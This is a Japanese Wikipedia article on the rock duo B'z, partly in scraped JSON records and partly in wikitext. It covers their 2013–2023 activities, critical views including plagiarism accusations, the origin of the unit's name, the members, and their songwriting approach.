"text": "2013年のデビュー25周年には、それまでに発表した50枚のシングル曲を収録したベスト・アルバム『B'z The Best XXV 1988-1998』と『B'z The Best XXV 1999-2012』を同時発売し、『B'z LIVE-GYM Pleasure 2013 -ENDLESS SUMMER-』を開催した。また、QVCマリンフィールドで開催した『AEROSONIC』では11年ぶりにエアロスミスと共演し、ともに「Mama Kin」を披露した。",
"title": "経歴"
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{
"paragraph_id": 44,
"tag": "p",
"text": "2014年はソロ活動となり、B'zとしては年末から2015年の年始にかけて複数の音楽番組に出演し、51stシングル『有頂天』を披露した。19thアルバム『EPIC DAY』発売後に『B'z LIVE-GYM 2015 -EPIC NIGHT-』を開催し、全国のZepp会場で追加公演を行ったほか、大阪心斎橋のミュージックバー「ROCKROCK」のオープン20周年記念ライブイベントに出演し、LOUDNESSと共演した。また、当時ニューヨーク・ヤンキースから古巣の広島東洋カープに復帰した黒田博樹のために、MAZDA Zoom-Zoom スタジアム広島(マツダスタジアム)での登場曲「RED」を書き下ろした。",
"title": "経歴"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "2016年はソロ活動がメインではあったが、配信限定シングル『世界はあなたの色になる』、『フキアレナサイ』をリリースした。2017年、稲葉はスティーヴィー・サラス、松本はダニエル・ホー(英語版)とコラボレーションしたアルバムをそれぞれ発売してツアーを開催した。その後、B'zとして53rdシングル『声明/Still Alive』を発売し、8年ぶりのIn Your Townシリーズとなる『B'z SHOWCASE 2017 -B'z In Your Town-』を開催。また、ロック・フェスティバル『ROCK IN JAPAN FESTIVAL』と『ライジング・サン・ロックフェスティバル』に初出演した。フィジカル・リリースとしてはB'z初のボックス・セット『B'z COMPLETE SINGLE BOX』発売を発表し、セブン-イレブンとコラボレーションした完全予約受注生産【Trailer Edition】の販売や「B'z×セブン-イレブンフェア」を展開した。デビュー30周年の一環となるイベント『B'z Loud-Gym』を47都道府県のライブハウスで翌年9月まで月1回開催。20thアルバム『DINOSAUR』発売後、翌年にかけて『B'z LIVE-GYM 2017-2018 \"LIVE DINOSAUR\"』を開催した。",
"title": "経歴"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "2018年には、デビュー30周年を記念した初の大型エキシビション(展覧会)『B'z 30th Year Exhibition \"SCENES\" 1988-2018』を前期(1988-2002)と後期(2003-2018)に分けて開催し、会場内で上映した映像を全国の映画館で順次公開したほか、約5年ぶりのPleasureツアー『B'z LIVE-GYM Pleasure 2018 -HINOTORI-』を開催した。",
"title": "経歴"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "前年のツアー終了直後に翌年のアルバム発売とツアー開催を予告しており、21stアルバム『NEW LOVE』発売前の元号が平成から令和に変わった5月1日から渋谷スクランブル交差点前にある東急百貨店の壁面に「平成 Thanks!」「令和 Welcome!」の巨大看板を3日間限定で公開した。アルバム発売後に『B'z LIVE-GYM 2019 -Whole Lotta NEW LOVE-』を開催し、7月6日の大阪公演でLIVE-GYMの通算公演数が1000回となった。また、ツアー最終日の福岡公演を日本国内と台湾の映画館で生中継するライブビューイングを行った。ツアーの合間には10年ぶりとなる『SUMMER SONIC 2019』に出演し、日本人アーティストではサマーソニック初となるヘッドライナーを務めた。",
"title": "経歴"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "2020年、新型コロナウイルスの感染拡大による緊急事態宣言の発出に伴い、『B'z LIVE-GYM -At Your Home-』と題して、これまでに発売した映像作品23本を4月13日からYouTubeの公式チャンネルで5月31日までの期間限定で公開した。4月27日には松本・稲葉によるリモートで「HOME」をセッションする動画を公開し、4月30日には『B'z LIVE-GYM 2019 -Whole Lotta NEW LOVE-』でのサポートメンバーを加えた「HOME」のバンドセッション動画を公開した。10月から11月にかけては、B'z初となる無観客配信ライブ『B'z SHOWCASE 2020 -5 ERAS 8820- Day1~5』を5週連続で開催した。これは、1988年のデビューから2020年までを5つの時代に分け、各公演が異なるセットリスト、ステージセットや演出も各公演で変更するといった内容であり、各メディアにおいて有料配信した。",
"title": "経歴"
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{
"paragraph_id": 49,
"tag": "p",
"text": "2021年5月21日、B'z初となるサブスクリプションストリーミングサービスを開始し、松本および稲葉のソロ曲を含む880曲を配信開始した。また、松本隆の作詞活動50周年を記念したトリビュート・アルバム『風街に連れてって!』に参加し、桑名正博の「セクシャルバイオレットNo.1」をカバーした。9月にはB'zが初の主催となるRock Project『B'z presents UNITE #01』を開催し、Mr.Children、GLAYとライブ初共演した。この模様は各メディアにおいて有料配信を行ったほか、ライブのタイトル曲となった「UNITE」も配信限定でリリースした。その後、「FRIENDS」シリーズをコンセプトとしたライブ『B'z presents LIVE FRIENDS』を開催し、約25年ぶりとなる「FRIENDS」シリーズのコンセプト・アルバム『FRIENDS III』を発売した。年末から年明けにかけては『LIVE FRIENDS』を各メディアにおいて有料配信した。",
"title": "経歴"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "2022年5月14日、約3年ぶりのツアーとなる『B'z LIVE-GYM 2022 -Highway X-』を開催。6月24日にはアルバムの先行配信限定シングル「SLEEPLESS」を配信し、8月10日には22ndアルバム『Highway X』が発売された。8月28日、国立競技場で行われた矢沢永吉のデビュー50周年ライブ『EIKICHI YAZAWA 50th ANNIVERSARY TOUR「MY WAY」』にサプライズゲストとして出演した。11月5日、デビュー35周年企画としてSUGOI花火とのコラボレーション『B'z ULTRA FIREWORKS 2022-2023』の第1弾を幕張で開催した。",
"title": "経歴"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "2023年3月10日から3月12日にかけて、デビュー35周年記念イベント『B'z presents -Treasure Land 2023-』を開催、イベントでは『B'z LIVE-GYM Pleasure '93 \"JAP THE RIPPER\"』と『B'z LIVE-GYM Pleasure '97 \"FIREBALL\"』のフルバージョンを初公開した。6月17日、約5年ぶりのPleasureツアー『B'z LIVE-GYM Pleasure 2023 -STARS-』を開催。7月12日、シングルCDとしては約6年ぶりとなる『STARS』を発売した。8月4日、『B'z ULTRA FIREWORKS 2022-2023』の第2弾を北九州で開催した。",
"title": "経歴"
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{
"paragraph_id": 52,
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"text": "音楽評論家の大貫憲章は、熱心なリスナーではないため印象論でしかないという前置きをした上で、「ハードロックサウンドとシャウト、稲葉の外見の良さなどによって、B'zが日本の一般人が想定するロックのイメージをわかりやすく体現しているためではないか」と分析している。音楽プロデューサーの亀田誠治によると、ヒット曲に必要な条件とする「アーティストパワー」と「楽曲のパワー」の両方を兼ね備えて安定的に売れ続けている「勝ち組安定型」の例としてB'zを挙げており、CDショップも積極的に売り出すことでさらに売上枚数が増えると述べている。作詞家の森雪之丞は洋楽のビートに日本語をどう近づけていくかという「日本語ロック」の試行錯誤において、「稲葉君が歌えば何でもロックになるんですよ。彼の歌詞は、とても四畳半的な男の意気地ない言葉が入っていても、B'zのサウンドの中で彼が歌ったら、ロックである」としており、「詞の世界として、か弱く、セコい心情を吐露していても、松本君のギターがあって、B'zの世界の中で聴くと、それがセコくないんですよ。それがロックだろうって思うんです」と述べている。ギタリストのマーティ・フリードマンは、「B'zはあれだけ人気なのにフォロワーがいないでしょ。テクニックがめちゃくちゃあるし、2人とも自分だけの独特なスタイルを確立しているから、マネしたくてもできないんだと思うよ」と述べている。音楽評論家の伊藤政則は、「B'zは邦楽と洋楽の壁を少しずつ壊して今日に至っているからね」、「B'zの音楽を聴いていると、どうしてもそういう音楽も聴きたくなる。だから(邦楽と洋楽の)境界線みたいなものは壊している。今思えばこれはすごいことです」、「(松本さんや稲葉さんが影響を受けた海外アーティストやアルバムに関するエピソードが)B'zファンの音楽的な裾野を広げているという言い方もできるんじゃないかな」と述べている。",
"title": "評価"
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{
"paragraph_id": 53,
"tag": "p",
"text": "B'zの2人は、売上枚数やライブの動員数などが話題になることについて松本は「セールスがプレッシャーになることは全然ない」「たとえば、\"数字\"っていうのは一番世間にわかりやすい。何万枚売れたとか、いくら稼いだとか。それはそれでいいんですけど、自分の中での質の向上みたいなものには終わりがない」、稲葉は「数字を気にする人たちがいるのは、それはそれで悪いことじゃないと思う。おもしろい話題の1つとしてとらえてくれればね......」と述べている。また、稲葉は「記録とか目標よりも、今は、もうちょっと違う...例えば、やったことない場所でライブをやってみたいとか、そういうことが楽しい」、松本は「新しいアルバムを創って新しいものが生まれてくる経験とか、知らない場所でライブをやったりしたいなって思えることの方が、今は楽しみ」と述べている。",
"title": "評価"
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{
"paragraph_id": 54,
"tag": "p",
"text": "B'zを論評する時に、避けて通れないのが「パクリ」であるといわれている。『マルコポーロ』94年10月号では、8曲を例に挙げて「パクリのオンパレード」と評しており、『音楽誌が書かないJポップ批評14』では、メロディ、リフ、アレンジなどのテーマごとに、計38曲の元ネタを明かしているとしている。2枚のベストアルバムの記録的大ヒットを受けて、朝日新聞で特集された際にも、「洋楽のパクリというのはよく言われていること」と紹介されていた。",
"title": "評価"
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{
"paragraph_id": 55,
"tag": "p",
"text": "音楽ライターの夏至明および別冊宝島編集部が「B'zはファン以外からはどうみられているか」を調査した結果によると、ロックや音楽に通じている層からは「パクリ・ネタが露骨すぎ」、「ビーイングという出自から来る商業主義の匂いへの嫌悪」と見られているとしている。",
"title": "評価"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "また、大滝詠一や奥田民生など他のアーティストなら「リスペクト」や「オマージュ」として好意的に解釈されるのに、なぜB'zだけが叩かれるのか、という点について、様々な分析がされており、元ネタへの愛情と知識の蓄積量、元ネタを商品の「タネ」としかみなしていない創作姿勢の差であるという意見、元ネタであるハードロックに対する評価がそのままパクリの質として評価されているという意見、「パクリ」という行為から読み取れる思想がないという意見、B'zのメーンリスナー層と元ネタであるハードロックが共有されないことで、「共犯関係」を築けないためであるという意見などがある。",
"title": "評価"
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{
"paragraph_id": 57,
"tag": "p",
"text": "この問題についての作曲者である松本の発言として、夏至明は以下のインタビューを引用している。",
"title": "評価"
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{
"paragraph_id": 58,
"tag": "p",
"text": "松本 「よくいるでしょ。この曲のここはツェッペリンだな、とかいう人。それをまるですごいことでも発見したようにいう人、いるじゃない(笑)。僕らはそういう次元ではやってないんだよね。あくまでも楽しんでやっていることだから」",
"title": "評価"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "- 「遊び心があるわけですよね」",
"title": "評価"
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{
"paragraph_id": 60,
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"text": "松本 「たとえば、B'zの曲の中に「スモーク・オン・ザ・ウォーター」のフレーズを入れちゃおうか、とかね」",
"title": "評価"
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{
"paragraph_id": 61,
"tag": "p",
"text": "- 「でも、必ず“あれパクリだぜ”とかいうヤツがいるでしょ(笑)」",
"title": "評価"
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{
"paragraph_id": 62,
"tag": "p",
"text": "松本 「いるよ(笑)。ピントがずれてるよね。ロック好きなヤツがバンドやって、そうならない方が不思議だよ。遊ぶ側のセンスだし、聞く人のセンスの問題だと思うけど」",
"title": "評価"
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{
"paragraph_id": 63,
"tag": "p",
"text": "夏至明はこの問題について、B'zだけの問題ではなく西洋のロックを範とするJ-POPに構造的に内包されているものであるとし、1999年の『音楽誌が書かないJポップ批評3』にて、B'zを「全肯定」する論陣を張った。ただし2007年には、この「全肯定」が「永遠の翼」にみられるような保守回帰傾向に荷担してしまったかもしれない、という反省と後悔をしている。",
"title": "評価"
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{
"paragraph_id": 64,
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"text": "日本有線大賞",
"title": "賞・記録"
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"text": "日本レコード大賞",
"title": "賞・記録"
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"text": "日本ゴールドディスク大賞",
"title": "賞・記録"
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"text": "ワールド・ミュージック・アワード",
"title": "賞・記録"
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"text": "ザテレビジョンドラマアカデミー賞",
"title": "賞・記録"
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"text": "オリコン",
"title": "賞・記録"
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"text": "ビルボード・ジャパン・ミュージック・アワード",
"title": "賞・記録"
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"paragraph_id": 71,
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"text": "シングル",
"title": "賞・記録"
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"text": "アルバム",
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"text": "Z'b(ズービ)とは、『B'z LIVE-GYM '91-'92 \"IN THE LIFE\"』開始前に肩慣らしと遊び心からつけたバンド名であり、洋楽のカバーを中心に日本国内4ヵ所のライブハウスで『Z'b LIVE HOUSE TOUR』を開催した。その後はライブの1コーナーにZ'bのメンバーが登場することもあったが、ファンからの「Z'bはもうやらないのか」という質問に対して松本は「多分やらないと思います」と回答している。",
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]
| B'z(ビーズ)は、ギタリストの松本孝弘とボーカリストの稲葉浩志からなる日本のロックユニットである。所属事務所はVERMILLION。所属レーベルはVERMILLION RECORDS。公式ファンクラブは「B'z Party」。 | <!--この記事「B'z」における「パクリ問題」節を編集する場合は、前もって「合意内容」をご確認ください。-->
{{Otheruses2|日本のロックユニット|同名のアルバム|B'z (1988年のアルバム)|B'z (2007年のアルバム)|B'z (2012年のアルバム)}}
{{Infobox Musician <!--プロジェクト:音楽家を参照-->
|名前 = B'z
|画像 = B'Z Best Buy Theater montage.jpg
|画像説明 = 稲葉浩志(左)と松本孝弘(右)
|画像サイズ = <!-- サイズが幅250ピクセルに満たない場合のみ記入 -->
|画像補正 = yes
|背景色 = band
|別名 =
|出身地 = {{JPN}}
|ジャンル = {{hlist-comma|[[ロック (音楽)|ロック]]<ref name="ORICON2019.4"/>|[[ハードロック]]<ref name="AllMusic">{{Cite web |first=Alexey |last=Eremenko |url={{AllMusic|artist|bz-mn0000316445/biography|pure_url=yes}} |title=B'z Biography & History |work = [[オールミュージック|AllMusic]] |accessdate=2020-02-03 }}</ref>|[[ダンスロック]]<ref name="AllMusic"/>|[[ポップ・ロック]]<ref name="AllMusic"/>|[[ブルースロック]]<ref name="AllMusic"/>|[[J-POP]]<ref name="AllMusic"/>}}
|活動期間 = [[1988年]] -
|レーベル = {{plainlist|
* [[BMG JAPAN|BMGビクター air records]](1988年 - 1990年)
* [[BMG JAPAN|BMGビクター ZEZ]]{{Refnest|group="注釈"|読み方はゼゼ。レーベル名の由来は、音楽プロデューサーで[[ビーイング]]創設者の[[長戸大幸]]の出身地である[[滋賀県]][[大津市]]の地名より、長戸自身によって名づけられた。}}(1990年 - 1992年)
* [[VERMILLION RECORDS|BMGルームス ZEZ]](1992年 - 1994年)
* [[VERMILLION RECORDS|BMGルームス VERMILLION]](1995年)
* [[VERMILLION RECORDS|Rooms RECORDS VERMILLION]](1995年 - 2001年)
* [[VERMILLION RECORDS]](2002年 - )
}}
|事務所 = [[VERMILLION (芸能事務所)|VERMILLION]]
|共同作業者 =
|公式サイト = [https://bz-vermillion.com B'z Official Website]
|メンバー = {{plainlist|
* [[松本孝弘]]([[ギター]])
* [[稲葉浩志]]([[ボーカル]])
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|旧メンバー =
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{{Infobox YouTube personality
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'''B'z'''(ビーズ)は、[[ギタリスト]]の[[松本孝弘]]と[[歌手|ボーカリスト]]の[[稲葉浩志]]からなる[[日本]]の[[ロック (音楽)|ロック]][[音楽ユニット|ユニット]]である<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2097609/full/|title=B’z、11・29通算20枚目アルバム『DINOSAUR』|publisher=ORICON NEWS|date=2017-09-21|accessdate=2017-12-16}}</ref><ref name="新型光">{{Cite journal|和書|author=新型光 |title=B'zはなぜこれほど売れるのか ちょっと真面目に考えてみた |year=2005 |journal=[[R25 (雑誌)|R25]] |publisher=[[リクルートホールディングス|リクルート]]}}</ref>。所属事務所は[[VERMILLION (芸能事務所)|VERMILLION]]。所属レーベルは[[VERMILLION RECORDS]]。公式ファンクラブは「[[B'z Party]]」。
[[Image:B'z logo.svg|thumb|150px|ロゴ(2004年 - 現在)<ref group="注釈">一部の作品では1995年ごろから使われている(シングル『[[LOVE PHANTOM]]』、アルバム『[[LOOSE (B'zのアルバム)|LOOSE]]』など)。</ref>]]
== 概要 ==
1988年にシングル『[[だからその手を離して]]』とアルバム『[[B'z (1988年のアルバム)|B'z]]』の同時発売でデビュー<ref>{{Cite news |title=B'z、30年間の歩み&功績を紹介する特設ページがオープン |url=https://www.billboard-japan.com/d_news/detail/68010/2 |newspaper=[[Billboard JAPAN]] |publisher=[[阪神コンテンツリンク]] |date=2018-09-21 |accessdate=2021-10-05 }}</ref>。1990年発売の5thシングル『[[太陽のKomachi Angel]]』で初の[[オリコンチャート]]1位を獲得し、同年発売の4thアルバム『[[RISKY (アルバム)|RISKY]]』、1991年発売の8thシングル『[[LADY NAVIGATION]]』が初の[[ミリオンセラー]]になるなど作品が次々とヒットしており<ref>{{Cite web|和書|url=https://www.oricon.co.jp/prof/2473/ |title=B'zのプロフィール |work=ORICON NEWS |publisher=[[オリコン]] |accessdate=2018-06-02}}</ref>、これまでにシングル15作品、アルバム19作品がミリオンセラーとなっている。中でも、1998年発売の[[ベスト・アルバム]]『[[B'z The Best "Pleasure"]]』は日本国内の音楽史上で初めて売上枚数が500万枚を突破したほか、同年発売の『[[B'z The Best "Treasure"]]』との2作品合計で約1000万枚の売上枚数を記録している<ref name="BARKS2008.4">{{Cite web|和書|url=https://www.barks.jp/news/?id=1000039484 |title=B'z、ウルトラベストを2タイトル発表 |date=2008-04-22 |work=[[BARKS]] |accessdate=2018-06-02}}</ref>。2007年にはアジア圏のミュージシャンとしては初めて「{{仮リンク|ハリウッド・ロックウォーク|en|Hollywood's RockWalk}}」に殿堂入りした<ref name="ORICON NEWS 2007.09">{{Cite web|和書|url=https://www.oricon.co.jp/news/48198/full/ |title=B'z、アジアのミュージシャンで初の米ロック殿堂入り! |date=2007-09-21 |work=ORICON NEWS |accessdate=2018-06-03}}</ref><ref name="ORICON NEWS 2007.11">{{Cite web|和書|url=https://www.oricon.co.jp/news/49808/full/ |title=B'z、ハリウッドでロック殿堂入り |date=2007-11-20 |work=ORICON NEWS |publisher=オリコン |accessdate=2018-06-02}}</ref>。2008年には[[ギネス世界記録]]から「日本でもっともアルバムを売り上げたアーティスト」の認定を受けている<ref name="Guinness World Records">{{Cite web |url=https://www.guinnessworldrecords.com/world-records/best-selling-album-act-in-japan |title=Best selling album act in Japan |publisher=Guinness World Records |accessdate=2018-06-11 |quote=達成日:2008年3月12日}}</ref><ref name="ギネス世界記録2011">{{Cite book |editor=[[クレイグ・グレンディ]] |title=ギネス世界記録2011 |year=2010 |publisher=[[角川マーケティング]] |isbn=978-4048954075}}</ref>。
1989年から「[[LIVE-GYM]]」と冠するライブ<ref group="注釈">公演内容や規模によって「LIVE-GYM Pleasure」や「SHOWCASE」となる。</ref>は、これまでに日本国内のライブハウスからスタジアム、日本国外までの様々な会場で開催しているほか、各種音楽イベントにも出演している。
== ユニット名 ==
=== 由来 ===
「B'z」の名称についてメンバーはインタビューなどで「深い意味はない」としているが、「現代的な記号のようなものがいい」というものがあり、企業ロゴのように[[デザイン|意匠]]化しやすいものを求めていた<ref>{{Cite book|和書|title=B'z Break through+Bad communication |year=1990 |series=バンドスコア |publisher=[[リットーミュージック]] |isbn=4-8456-0631-3}}</ref>{{Sfn|小野里歩|2000}}。
これまでにB'zの2人が説明している名前の由来は一貫しておらず曖昧なものが多く、2012年のインタビューで松本は「昔は適当に答えていた」と述べている。これまでの説明としては、下記が挙げられる。
* 「終わりにZをつけるのが最初に決まって、スタッフと考えた結果『B'z』になった<ref>{{Cite journal|和書|journal=be with! |volume=1 |year=1989 |publisher=[[B'z Party]]}}</ref>」
* 「『Z』を使用したいことに男性的なニュアンスのある『B』を合わせた結果が『B'z』{{Sfn|小野里歩|2000}}」
* 1995年に使用していたB'zのロゴに因んで「蜂の群れ(Beeの複数形)で『B'z』」
* 「[[英語]]の[[アルファベット]]最初の文字と最後の文字『A to Z』を用いて『AからZのすべてをカバーする』という意味を込めた『A'z』(アズ)を候補に挙げたが<ref name="bewith075">{{Cite journal|和書|journal=be with! |volume=75 |date=2007 |publisher=B'z Party}}</ref>、『A'z≒[[後天性免疫不全症候群|エイズ]](AIDS)』と読まれる可能性があり、別の案を検討した結果『Aの次はBだろう』という理由で『B'z』となった」。
* 「『B』から始まる名前は力強いバンドが多く、『B'zだと憶えやすそう』という意見もあり決まった<ref name="bewith075"/>」
* 「『A'z』の案『ギターのエース』と『ボーカルのエース』のジョイントに由来しているが、発音しにくかったため、『B'z』とした{{Sfn|小野里歩|2000}}」
* 「昔は『[[ビートルズ]](''The Beatles'')の"B"と、[[レッド・ツェッペリン]](''Led Zeppelin'')の"Z"』って答えたこともある」<ref>2012年のインタビューで松本が述べている。</ref>
[[ビーイング]]創業者である[[長戸大幸]]によると、バンドを作る度に[[商標]]を取らなくてはならないことが大変であり、当時は「JT」(日本たばこ産業)や「JR」(旧日本国有鉄道の民営化に伴うグループの総称・略称)などのネーミングが世の中に出てきた頃であったため、当初はユニット名を「A'z」(アズ)にしようとした<ref name="フェイス対談">{{Cite web|和書|url=https://www.faith.co.jp/25th/dialogue/nagato-daikoh.html |title=長戸大幸さん×平澤創[対談] |year=2018 |work=フェイス25周年記念Webサイト・スペシャル対談企画 最終回【前編】 |publisher=[[フェイス (企業)|フェイス]] |accessdate=2019-05-10}}</ref>。ところが、同時期にロート製薬の「AtoZ」がテレビCMで頻繁に流れていたので、周囲から「ロート製薬からとったでしょ」と言われるようになったので、「A'z」でのテスト盤をすべて止めて「B'z」にしたと述べている<ref name="フェイス対談"/>。
=== 読み方 ===
「B'z」の発音については、世間的に抑揚をつけない平板な読み方の「'''ビーズ'''」(例えば「リール」「レール」に近いもの)が一般的になっているが<ref name="日刊サイゾー2008.10">{{Cite news|title=平板読みは間違い!? 「B’z」の正しい呼び方って?|newspaper=[[日刊サイゾー]]|date=2008-10-13|url=https://www.cyzo.com/2008/10/post_1053_entry.html|accessdate=2021-9-10}}</ref>、本人たちや関係者は「'''ビィ'''ズ」と「ビ」にアクセントを置いて読んでいる(例えば「プール」「シール」に近いアクセント)<ref name="日刊サイゾー2008.10"/>。
平板な発音の方が一般に定着した理由について、[[NHK放送文化研究所]]は「(NHKの)番組内での発音については、責任者が決めている」と前置きした上で、「ギター、ドラマ、映画、ディレクター。こういった言葉は、かつては頭を高くした発音がされていたと思うのですが、今は平たく言うほうが主流ですね。日本語の習性として、言葉が出来て、馴染みが薄いときには頭にアクセントを置く、そしてその言葉が口をついて出る回数が増えるにつれ、どんどん後ろに移動して、落ち着いていくというものがあります。「ビーズ」と平べったい発音になるのは、自然の流れなのではないか」との見解を述べている<ref name="日刊サイゾー2008.10"/>。
== メンバー ==
オフィシャルウェブサイト「BIOGRAPHY」を参照<ref>{{Cite web |url=http://bz-vermillion.com/biography/ |title=BIOGRAPHY |work=B'z Official Website |accessdate=2018-06-02}}</ref>。
<!-- 以下の生年月日や出身地などの表記方法は、公式サイトの記載に準じているため、変更しないようお願いします。 -->
{| class="wikitable"
!名前
!パート
!誕生日
!出身地
|-
|<ruby><rb>'''[[松本孝弘]]'''</rb><rp>(</rp><rt>まつもと たかひろ</rt><rp>)</rp></ruby><br />''TAK MATSUMOTO''<ref group="注釈">当初の英語表記は「''TAKAHIRO MATSUMOTO''」であったが、1994年発売の14thシングル『[[Don't Leave Me (B'zの曲)|Don't Leave Me]]』から表記を変えている。</ref>
|[[ギター]]、[[作曲]]、[[プロデュース]]
|3月27日
|[[大阪府]]
|-
|<ruby><rb>'''[[稲葉浩志]]'''</rb><rp>(</rp><rt>いなば こうし</rt><rp>)</rp></ruby><br />''KOSHI INABA''<ref group="注釈">当初の英語表記は「''KOHSHI INABA''」であったが、1999年発売の26thシングル『[[ギリギリchop]]』から表記を変えている。</ref>
|[[ボーカル]]、[[作詞]]
|9月23日
|[[岡山県]]
|}
=== 2人組になった経緯 ===
当初、松本は少人数の[[バンド (音楽)|バンド]]を結成する計画でメンバーを探していたが、納得できるメンバーに巡り会えない状況が続いていた<ref name="bewith079">{{Cite journal|和書|journal=be with! |volume=79 |year=2008 |publisher=B'z Party |title=FLASH BACK 1988-2007 B'z 20th Anniversary Special}}</ref>{{Sfn|グループZero|2006}}。そのような中で稲葉と出会って2人組の[[音楽ユニット]]「B'z」を結成したが、松本は「ボーカルとギターという極めてアナログ的な楽器の可能性を広げていくため、コンピューターや色々な新しい機材と対比しながら共存していけたら」と述べており<ref name="bewith079"/>、「僕が曲を書いて彼(稲葉)が詞を書いて、歌ってギター弾いて、それで十分音楽は創ることが出来るので、敢えて他のメンバーは入れなかった」としている<ref name="bewith079"/>。
当時の日本国内の音楽シーンはいわゆる「[[バンドブーム]]」の真っ只中であり、B'zのデビューは異色でもあった。このことについて、松本は「セッションミュージシャンとして限界に来てて、グループをやるタイミングだと思って動き出しただけで、バンドブームとは関係のないところにいたから」と述べている{{Sfn|グループZero|2006}}。一方、ライブについて松本は「コンピューターだけではライブの良さを出せるとは思ってないから、良いサポートミュージシャンを選びたい」と語っている<ref name="bewith079"/>。
== 音楽性 ==
=== 音楽ジャンル ===
活動初期は[[打ち込み]]にハードな[[ギター]]を合わせた音楽スタイルであり{{Sfn|佐伯明|2003|p=12}}、[[TM NETWORK]]に近いサウンドであった。当時について松本は「B'zの初期は、確かに(自分がサポートメンバーとして参加していた)TMの流れを汲んでいた」、「TMから始まったものが当時の僕のスタイルの一部にはなっていると思う」、「B'zの初期はテッちゃん([[小室哲哉]])の影響が大きかった」と述べ{{Sfn|藤井徹貫|1994}}、プロデューサーの[[長戸大幸]]からして、当初は「TMのメンバーに似た容姿のバンドマン同士を組ませて、新しいグループを作る」というコンセプトありきの企画ユニットだった<ref>[[講談社]]刊『小室哲哉 深層の美意識(講談社文庫版)』[[神山典士]]著187P-188Pより。</ref>。
しかし、松本と稲葉は好きなギタリストやシンガー、これからやりたいことが似ていたこともあり、ノリのある8ビートに[[ロック (音楽)|ロック]]な部分を残し、打ち込みで人間的なノリを出すことにこだわり始めたことで音楽性がガラッと変わっていくことになる<ref name="bewith079"/>。活動初期とは打って変わり、レコーディングやツアーを重ねるごとにロック色が強い作品を発表するようになり、サポートメンバーを含めた[[バンド (音楽)|バンド]]感を出すようになっていく。
そして、[[ハードロック]]をベースとしながらも[[アコースティック]]、[[ブルース]]、[[ジャズ]]、[[ソウルミュージック|ソウル]]、[[サイケデリック・ミュージック|サイケデリック]]、[[ファンク・ミュージック|ファンク]]、[[ヘヴィメタル]]、[[レゲエ]]、[[ラテン音楽|ラテン]]、[[行進曲|マーチ]]、[[歌謡曲]]など様々な音楽ジャンルを作品に取り入れている<ref>{{Cite web|和書|url=https://realsound.jp/2019/05/post-353580.html |title=B'z、平成の音楽シーン駆け抜け勢いそのまま令和へ 楽曲とパフォーマンスから牽引力の秘密を探る |work=[[Real Sound]] |publisher=株式会社blueprint |date=2019-05-02 |accessdate=2020-02-03}}</ref>。
日本国内のいわゆる「[[J-POP]]」の中でハードロックをベースにチャート上位を狙いながら活動しているのはB'zくらいしかいないと言われている<ref>{{Cite journal|和書|title=B'z 境界線上から手に入れた王者の称号 |pages=17-18 |year=2017 |journal=Rolling Stone Japan |publisher=カルチュア・エンタテインメント |isbn=978-4-7770-2160-4}}</ref>。
=== 楽曲制作 ===
B'zの曲は[[作詞]]を稲葉、[[作曲]]を松本が担当している。B'z結成当初から曲については「自分たちでなんとかしよう」ということがあり、自然な流れで[[ギター]]の松本が作曲で[[ボーカル]]の稲葉が作詞になった{{Sfn|佐伯明|2003|p=11}}。ところが、2人ともB'zが始まってから本格的な作詞・作曲の創作活動を行ったため{{Sfn|佐伯明|2003|p=9}}、1stアルバム『[[B'z (1988年のアルバム)|B'z]]』では「Nothing to Change」の作詞を[[亜蘭知子]]、「孤独にDance in vain」の作曲を[[大槻啓之]]が担当しており、松本は「当時はあれが限界だった」と述べている{{Sfn|佐伯明|2003|p=11}}{{Sfn|別冊カドカワ|2003|p=24}}。また、稲葉は[[日本語]]で歌詞を書くことや日本語で歌うことに抵抗があったため、はじめは作詞に苦慮する日々が続いた<ref name="bewith079"/>。
基本的には松本が作るメロディやギターのリフなど断片的なものから始まり、後から歌詞を書くいわゆる「曲先」で制作しているが{{Sfn|別冊カドカワ|2003|p=38}}、すでにストックしてある詞やメロディを当てはめて制作していく場合もある{{Sfn|佐伯明|2003|p=472}}。松本は浮かんだアイデアをボイスレコーダーや携帯電話に録音し、近くにギターがなければ歌だけで録音することがある<ref name="RSJ2017.p13">{{Cite journal|和書|title=B'z 境界線上から手に入れた王者の称号 |page=13 |year=2017 |journal=Rolling Stone Japan |publisher=カルチュア・エンタテインメント |isbn=978-4-7770-2160-4}}</ref>。稲葉も思いついたものをメモに取ったり携帯電話に録音している<ref name="RSJ2017.p13"/>。また、稲葉はB'zの曲の作詞に関して松本が奏でるメロディや音色から言葉を喚起することが多々あるとも述べている{{Sfn|別冊カドカワ|2003|p=38}}。編曲に関して当初は[[明石昌夫]]が単独で行い、1stミニ・アルバム『[[BAD COMMUNICATION]]』の頃から松本と明石でベーシックなものを制作してから稲葉が詞を書いていくという手法で行っていたが<ref name="bewith079"/>、6thアルバム『[[RUN (アルバム)|RUN]]』では制作途中までツアーメンバーでレコーディングしている<ref name="bewith079"/>。7thアルバム『[[The 7th Blues]]』レコーディングの頃から稲葉がスタジオ作業に具体的な興味が湧いてきたと述べており{{Sfn|B'z Unreal Music|2000|pp=165-166}}、8thアルバム『[[LOOSE (B'zのアルバム)|LOOSE]]』レコーディングからは稲葉が制作当初から参加するようになり、16thシングル『[[ねがい (B'zの曲)|ねがい]]』で稲葉が初めて編曲にクレジットされた{{Sfn|B'z Unreal Music|2000|pp=165-166}}。また、B'zの2人をはじめサポートメンバー、ディレクターなどがアレンジに意見し、出たアイデアを音にして具現化するようにしているほか{{Sfn|B'z Unreal Music|2000|pp=41-43}}、デモテープを複数のアレンジャーに渡して良いアレンジを採用するような場合もある{{Sfn|別冊カドカワ|2003|p=24}}。
